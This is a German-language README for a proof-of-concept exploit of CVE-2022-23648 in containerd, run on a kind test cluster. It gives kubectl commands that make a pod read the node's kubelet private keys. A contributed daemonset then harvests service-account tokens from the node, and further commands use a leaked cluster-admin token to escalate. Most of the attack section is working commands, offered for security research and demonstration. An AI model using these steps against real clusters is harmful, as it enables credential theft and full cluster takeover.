CVE-2022-23648-POC

PoC für CVE-2022-23648

Dies ist ein Proof of Concept für die CVE-2022-23648 von @_fel1x. Offenlegungsinformationen hier, CVE-Informationen hier und ein Blog mit weiteren Informationen und Gegenmaßnahmen hier. Das Containerfile enthält die benötigten Informationen, und du kannst das Ziel des VOLUME ändern, um verschiedene Pfade auszuprobieren.

Der einfachste Weg, die Funktionsweise zu demonstrieren, ist die Verwendung von KinD, das ausnutzbare Images enthält.

Grundlegende Testprozedur

Sofern der Knoten nicht irgendwie viele Daten in /var/lib/kubelet/pki enthält, sollte dies ein sicherer Test sein.

• kind create cluster --image=kindest/node:v1.21.1
• kubectl create -f pod-manifest.yaml
• kubectl exec poctest -- ls /var/lib/kubelet/pki/

Und wenn du Dateien einschließlich kubelet.key zurückbekommst, hat es funktioniert :)

Eskalationsversuch zu cluster-admin

HINWEIS: Versuche dies nicht auf einem Produktionscluster. Ein verwundbares Containerd kann eine große Menge Daten in diesen Angriffs-Pod duplizieren und den Speicherplatz erschöpfen. Außerdem werden dabei cluster-admin-SA-Tokens in den Pod-Logs ausgegeben, die wahrscheinlich im Klartext an ein Logging-Ziel gesendet werden.

Dies führt einen Daemonset aus, der versucht, alle Kubernetes-Service-Account-Tokens auf dem Knoten aufzulisten und das Token in den Pod-Logs auszugeben, falls es sich als cluster-admin-Token herausstellt.

• kubectl apply -f ds.yaml
• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A

Wenn yes ausgegeben wird, Glückwunsch, du hast ein kurzlebiges cluster-admin-Service-Account-Token. Führe Folgendes aus:

• kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d, um zu sehen, um welchen SA es sich handelt

• kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A

• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list

Autor

• Rory McCune @raesene

Mitwirkende

• @BradGeesaman - Eskalations-Daemonset